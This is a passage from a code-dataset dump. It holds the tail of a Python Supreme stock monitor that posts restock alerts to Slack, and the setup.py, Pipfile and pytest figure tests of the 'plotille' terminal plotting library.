True:\\n\\t\\t\\t\\t\\tm = ('{0} {1} {2} {3} {4}'.format(color, pic, sizelabel, sizeid, stock))\\n\\t\\t\\t\\t\\t#print (m)\\n\\t\\t\\t\\t\\tif stock != 0:\\n\\t\\t\\t\\t\\t\\tself.l1.append(m)\\n\\t\\t\\tif p == True:\\n\\t\\t\\t\\tprint ('\\\\n')\\n\\tdef monitor(self,link):\\n\\t\\tdef send_message(team,channel,username, title, link, site, sizes, thumb):\\n\\t\\t\\tattachments = [\\n {\\n \\\"color\\\": \\\"#36a64f\\\",\\n \\\"title\\\": title,\\n \\\"title_link\\\": link,\\n \\\"text\\\": \\\"Site: %s\\\"%site,\\n \\\"fields\\\": [\\n {\\n \\\"title\\\": \\\"Sizes Available\\\",\\n \\\"value\\\": sizes,\\n \\\"short\\\": False\\n }\\n ],\\n #\\\"image_url\\\": thumb\\n \\\"thumb_url\\\": thumb,\\n \\\"ts\\\": int(time.time())\\n }\\n ]\\n\\t\\t\\ttry:\\n\\t\\t\\t\\tres = team.api_call(\\\"chat.postMessage\\\", channel=channel, attachments=attachments, username=username,icon_emoji=':hocho:')\\n\\t\\t\\t\\tif not res.get('ok'):\\n\\t\\t\\t\\t\\tprint('error: {}', res.get('error'))\\n\\t\\t\\texcept Exception as y:\\n\\t\\t\\t\\tprint (y)\\n\\t\\t\\t\\tprint('send_message failed')\\n\\t\\tif self.totalstock == 0:\\n\\t\\t\\ttry:\\n\\t\\t\\t\\tself.get_stock(link,p=True)\\n\\t\\t\\t\\tif self.totalstock == 0:\\n\\t\\t\\t\\t\\tprint ('--- CHECK STATUS --- OUT OF STOCK %s'%UTCtoEST())\\n\\t\\t\\t\\t\\ttime.sleep(int(self.interval))\\n\\t\\t\\t\\t\\tself.monitor(link)\\n\\t\\t\\t\\telse:\\n\\t\\t\\t\\t\\tsend_message(sc,'#CHANNEL NAME HERE','BOT USER NAME HERE','titleOfProduct',link[:-5],'<SupremeNY|http://www.supremenewyork.com/shop/all>','strcartlinks','img')\\n\\t\\t\\t\\t\\t##INSERT SLACK [X]/ TWITTER [ ]/ CHECKOUT [ ] FUNCTION HERE\\n\\t\\t\\t\\t\\tprint('--- CHECK STATUS --- RESTOCK\\\\n%s -- %s'%(link,UTCtoEST()))\\n\\t\\t\\texcept Exception as monitor_error:\\n\\t\\t\\t\\tprint ('MONITOR ERROR\\\\n%s'%monitor_error)\\n\\t\\t\\t\\tpass\\n\\n\\tdef prompt(self):\\n\\t\\tlink = input('Please Enter A Link To Monitor..\\\\n')\\n\\t\\tlink = str(link)+'.json'\\n\\t\\ttry:\\n\\t\\t\\tself.get_stock(link,p=True)\\n\\t\\texcept Exception as get_stock_error:\\n\\t\\t\\tprint (get_stock_error)\\n\\t\\t\\tpass\\n\\t\\tprint ('{0} {1}'.format('TOTAL STOCK - ',self.totalstock))\\n\\t\\tif self.totalstock == 0:\\n\\t\\t\\trestock_answer = input('This product is out of stock, start restock mode? Enter - (y/n)\\\\n')\\n\\t\\t\\tif restock_answer.lower() == 'y':\\n\\t\\t\\t\\tself.interval = input('Please Enter An Interval..\\\\n')\\n\\t\\t\\t\\tself.monitor(link)\\n\\t\\t\\telse:\\n\\t\\t\\t\\tprint (restock_answer)\\n\\t\\t\\t\\tsys.exit()\\n\\ninstance = Supreme()\\ninstance.prompt()\\n\"\n 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like","value":[{"alpha_fraction":0.6216041445732117,"alphanum_fraction":0.6287192702293396,"avg_line_length":33.35555648803711,"blob_id":"36012433ed4f22810782512a369773f5d388d8a9","content_id":"f7bbd08eb290acd638b122f92bf6226ef54e325b","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1546,"license_type":"permissive","max_line_length":93,"num_lines":45,"path":"/setup.py","repo_name":"efabens/plotille","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\nfrom __future__ import absolute_import, division, print_function\n\nfrom setuptools import find_packages, setup\n\ntry:\n long_description = open('README.rst').read()\nexcept IOError:\n long_description = open('README.md').read()\n\nversion = '3.1'\n\nsetup(\n name='plotille',\n version=version,\n packages=find_packages(),\n install_requires=[\n 'six',\n ],\n author='Tammo Ippen',\n author_email='tammo.ippen@posteo.de',\n description='Plot in the terminal using braille dots.',\n long_description=long_description,\n license='MIT',\n url='https://github.com/tammoippen/plotille',\n download_url='https://github.com/tammoippen/plotille/archive/v{}.tar.gz'.format(version),\n keywords=['plot', 'scatter', 'histogram', 'terminal', 'braille', 'unicode'],\n include_package_data=True,\n classifiers=[\n # Trove classifiers\n # Full list: https://pypi.python.org/pypi?%3Aaction=list_classifiers\n 'Environment :: Console',\n 'License :: OSI Approved :: MIT License',\n 'Intended Audience :: Science/Research',\n 'Programming Language :: Python',\n 'Programming Language :: Python :: 2.7',\n 'Programming Language :: Python :: 3',\n 'Programming Language :: Python :: 3.5',\n 'Programming Language :: Python :: 3.6',\n 'Programming Language :: Python :: Implementation :: CPython',\n 'Programming Language :: Python :: Implementation :: PyPy',\n 'Topic :: Scientific/Engineering :: Visualization',\n 'Topic :: Terminals'\n ]\n)\n"},{"alpha_fraction":0.550561785697937,"alphanum_fraction":0.5730336904525757,"avg_line_length":13.239999771118164,"blob_id":"e0bb74dab89b8d09ade4b30a140a8d1f0daa006f","content_id":"8e3e3ae01e2526caeb9849fe9ff147535cc50341","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"TOML","length_bytes":356,"license_type":"permissive","max_line_length":41,"num_lines":25,"path":"/Pipfile","repo_name":"efabens/plotille","src_encoding":"UTF-8","text":"[[source]]\n\nurl = \"https://pypi.python.org/simple\"\nverify_ssl = true\nname = \"pypi\"\n\n\n[packages]\n\n\"e1839a8\" = {path = \".\", editable = true}\n\n\n[dev-packages]\n\n\"flake8-import-order\" = \"*\"\nnumpy = \"*\"\n\"pep8-naming\" = \"*\"\npytest = \"*\"\npytest-cov = \"*\"\n\"pytest-flake8\" = \"*\"\npytest-mccabe = \"*\"\npython-coveralls = \"*\"\npytest-mock = \"*\"\nmock = \"*\"\nfuncsigs = \"*\"\n"},{"alpha_fraction":0.2725982666015625,"alphanum_fraction":0.33146172761917114,"avg_line_length":37.95913314819336,"blob_id":"bf04e0edc11a27d64bcd87a05d9bc9d7435e0e0a","content_id":"507309bd0fbdffcd077728f5dcad1fe3a81e1f75","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":29011,"license_type":"permissive","max_line_length":114,"num_lines":416,"path":"/tests/test_figure.py","repo_name":"efabens/plotille","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\nfrom __future__ import absolute_import, division, print_function, unicode_literals\n\nfrom mock import call\nfrom plotille import Figure\nfrom plotille._figure import Histogram, Plot\nimport pytest\n\n\ndef test_width():\n fig = Figure()\n\n assert fig.width > 0\n\n fig.width = 40\n assert fig.width == 40\n\n with pytest.raises(ValueError):\n fig.width = 0\n\n with pytest.raises(ValueError):\n fig.width = -10\n\n with pytest.raises(ValueError):\n fig.width = \"40\"\n\n res = fig.show().split('\\n')\n assert all([len(r) > 40 and len(r) < 55 for r in res[2:-2]])\n\n\ndef test_height():\n fig = Figure()\n\n assert fig.height > 0\n\n fig.height = 40\n assert fig.height == 40\n\n with pytest.raises(ValueError):\n fig.height = 0\n\n with pytest.raises(ValueError):\n fig.height = -10\n\n with pytest.raises(ValueError):\n fig.height = \"40\"\n\n res = fig.show().split('\\n')\n assert len(res) > 40\n assert len(res) < 45\n\n\ndef test_color_mode():\n fig = Figure()\n\n assert fig.color_mode == 'names'\n\n fig.color_mode = 'byte'\n assert fig.color_mode == 'byte'\n\n with pytest.raises(ValueError):\n fig.color_mode = 'rgba'\n\n with pytest.raises(ValueError):\n fig.color_mode = 15\n\n fig.plot([0.5], [0.5])\n\n with pytest.raises(RuntimeError):\n fig.color_mode = 'names'\n\n\ndef test_with_colors():\n fig = Figure()\n\n assert fig.with_colors\n\n fig.with_colors = False\n\n assert not fig.with_colors\n\n with pytest.raises(ValueError):\n fig.with_colors = 1\n\n\ndef limits(get_limits, set_limits):\n fig = Figure()\n assert get_limits(fig) == (0, 1)\n\n set_limits(fig, min_=0.5)\n assert get_limits(fig) == (0.5, 1)\n\n set_limits(fig) # resetting\n set_limits(fig, max_=0.5)\n assert get_limits(fig) == (0, 0.5)\n\n set_limits(fig) # resetting\n set_limits(fig, min_=0.5)\n set_limits(fig, max_=1.5)\n assert get_limits(fig) == (0.5, 1.5)\n\n set_limits(fig, min_=-2, max_=3.5)\n assert get_limits(fig) == (-2, 3.5)\n\n with pytest.raises(ValueError):\n set_limits(fig, min_=20, max_=3.5)\n\n set_limits(fig) # resetting\n set_limits(fig, max_=1.5)\n with pytest.raises(ValueError):\n set_limits(fig, min_=20)\n\n set_limits(fig) # resetting\n set_limits(fig, min_=1.5)\n with pytest.raises(ValueError):\n set_limits(fig, max_=-20)\n\n set_limits(fig) # resetting\n set_limits(fig, min_=1.5)\n assert get_limits(fig) == (1.5, 2.5) # min over default max -> max = min + 1\n\n set_limits(fig) # resetting\n set_limits(fig, max_=-1.5)\n assert get_limits(fig) == (-2.5, -1.5) # max smaller than default min -> min = max - 1\n\n fig.clear()\n fig.plot([0], [0])\n set_limits(fig) # resetting\n assert get_limits(fig) == (-0.5, 0.5) # both min, max same, and 0 => +- 0.5\n\n fig.clear()\n fig.plot([0.5], [0.5])\n set_limits(fig) # resetting\n assert get_limits(fig) == (pytest.approx(0.45), pytest.approx(0.55)) # both min, max same, but not 0 => +-10%\n\n fig.clear()\n fig.plot([0.1, 0.2], [0.1, 0.2])\n set_limits(fig) # resetting\n assert get_limits(fig) == (pytest.approx(0.09), pytest.approx(0.21)) # diff 0.1 => +-10%\n\n set_limits(fig, min_=0)\n assert get_limits(fig) == (0, pytest.approx(0.22)) # diff 0.2 => +10%\n set_limits(fig, max_=2)\n assert get_limits(fig) == (0, 2) # min/max set\n\n set_limits(fig) # resetting\n set_limits(fig, max_=2)\n assert get_limits(fig) == (pytest.approx(-0.09), 2) # diff 1.9 => -10%\n\n set_limits(fig) # resetting\n set_limits(fig, max_=0) # below value min\n assert get_limits(fig) == (-1, 0) # have a valid window below graph\n\n set_limits(fig) # resetting\n set_limits(fig, min_=1) # above value max\n assert get_limits(fig) == (1, 2) # have a valid window above graph\n\n\ndef test_x_limits():\n limits(Figure.x_limits, Figure.set_x_limits)\n\n\ndef test_y_limits():\n limits(Figure.y_limits, Figure.set_y_limits)\n\n\ndef test_clear():\n fig = Figure()\n\n assert fig._plots == []\n\n fig.plot([0.1, 0.2], [0.1, 0.2])\n fig.plot([0.1, 0.2], [0.1, 0.2])\n fig.plot([0.1, 0.2], [0.1, 0.2])\n\n assert len(fig._plots) == 3\n fig.clear()\n assert fig._plots == []\n\n fig.clear()\n assert fig._plots == []\n\n\ndef test_plot(get_canvas):\n fig = Figure()\n\n fig.plot([], [])\n assert len(fig._plots) == 0\n\n fig.plot([0.1, 0.2], [0.2, 0.3])\n assert len(fig._plots) == 1\n\n plot = fig._plots[0]\n assert isinstance(plot, Plot)\n\n assert plot.interp == 'linear'\n assert plot.lc == 'white'\n assert plot.width_vals() == [0.1, 0.2]\n assert plot.height_vals() == [0.2, 0.3]\n\n canvas = get_canvas()\n plot.write(canvas, with_colors=False)\n assert canvas.point.call_count == 2 # two points\n assert canvas.point.call_args_list == [\n call(0.1, 0.2, color=None),\n call(0.2, 0.3, color=None),\n ]\n assert canvas.line.call_count == 1 # two points => one line\n assert canvas.line.call_args_list == [\n call(0.1, 0.2, 0.2, 0.3, color=None)\n ]\n\n canvas = get_canvas()\n plot.write(canvas, with_colors=True)\n assert canvas.point.call_count == 2 # two points\n assert canvas.point.call_args_list == [\n call(0.1, 0.2, color=plot.lc),\n call(0.2, 0.3, color=plot.lc),\n ]\n assert canvas.line.call_count == 1 # two points => one line\n assert canvas.line.call_args_list == [\n call(0.1, 0.2, 0.2, 0.3, color=plot.lc)\n ]\n\n # different lc\n fig.plot([0.1, 0.2], [0.2, 0.3])\n assert len(fig._plots) == 2\n\n plot2 = fig._plots[1]\n assert isinstance(plot2, Plot)\n\n assert plot2.lc == 'red'\n\n with pytest.raises(ValueError):\n fig.plot([1], [0], interp=23)\n\n with pytest.raises(ValueError):\n fig.plot([1, 2], [0])\n\n\ndef test_scatter(get_canvas):\n fig = Figure()\n\n fig.scatter([], [])\n assert len(fig._plots) == 0\n\n fig.scatter([0.1, 0.2], [0.2, 0.3])\n assert len(fig._plots) == 1\n\n plot = fig._plots[0]\n assert isinstance(plot, Plot)\n\n assert plot.interp is None\n assert plot.lc == 'white'\n assert plot.width_vals() == [0.1, 0.2]\n assert plot.height_vals() == [0.2, 0.3]\n\n canvas = get_canvas()\n plot.write(canvas, with_colors=False)\n assert canvas.point.call_count == 2 # two points\n assert canvas.point.call_args_list == [\n call(0.1, 0.2, color=None),\n call(0.2, 0.3, color=None),\n ]\n assert canvas.line.call_count == 0 # scatter\n\n canvas = get_canvas()\n plot.write(canvas, with_colors=True)\n assert canvas.point.call_count == 2 # two points\n assert canvas.point.call_args_list == [\n call(0.1, 0.2, color=plot.lc),\n call(0.2, 0.3, color=plot.lc),\n ]\n assert canvas.line.call_count == 0 # scatter\n\n # different lc\n fig.scatter([0.1, 0.2], [0.2, 0.3])\n assert len(fig._plots) == 2\n\n plot2 = fig._plots[1]\n assert isinstance(plot2, Plot)\n\n assert plot2.lc == 'red'\n\n with pytest.raises(ValueError):\n fig.scatter([1, 2], [0])\n\n\ndef test_histogram(get_canvas, mocker):\n fig = Figure()\n fig.histogram([1, 1, 2, 3, 1], bins=3)\n\n assert len(fig._plots) == 1\n\n hist = fig._plots[0]\n assert isinstance(hist, Histogram)\n\n assert hist.width_vals() == [1, 1, 2, 3, 1]\n assert hist.height_vals() == [3, 1, 1] # 3 x 1\n assert hist.lc == 'white'\n\n canvas = get_canvas()\n canvas.dots_between = mocker.Mock(return_value=[1, 1])\n canvas.xmin = 0\n canvas.xmax = 5\n\n hist.write(canvas, with_colors=False)\n assert canvas.point.call_count == 0\n assert canvas.line.call_count == 3 # 1 dot between 1 and 2\n\n\ndef test_show():\n fig = Figure()\n fig.with_colors = False\n\n fig.histogram([1, 1, 2, 3, 1], bins=5)\n expected = ''' (Y) ^\n 3.30000 |\n 3.21750 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n 3.13500 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n 3.05250 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n 2.97000 | ⠀⠀⠀⠀⠀⠀⢠⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n 2.88750 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n 2.80500 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n 2.72250 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n 2.64000 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n 2.55750 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n 2.47500 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n 2.39250 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n 2.31000 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n 2.22750 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n 2.14500 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n 2.06250 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n 1.98000 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n 1.89750 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n 1.81500 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n 1.73250 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n 1.65000 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n 1.56750 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n 1.48500 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n 1.40250 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n 1.32000 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n 1.23750 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n 1.15500 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n 1.07250 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n 0.99000 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⡀⠀⠀⠀⠀⠀⠀\n 0.90750 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀\n 0.82500 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀\n 0.74250 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀\n 0.66000 | 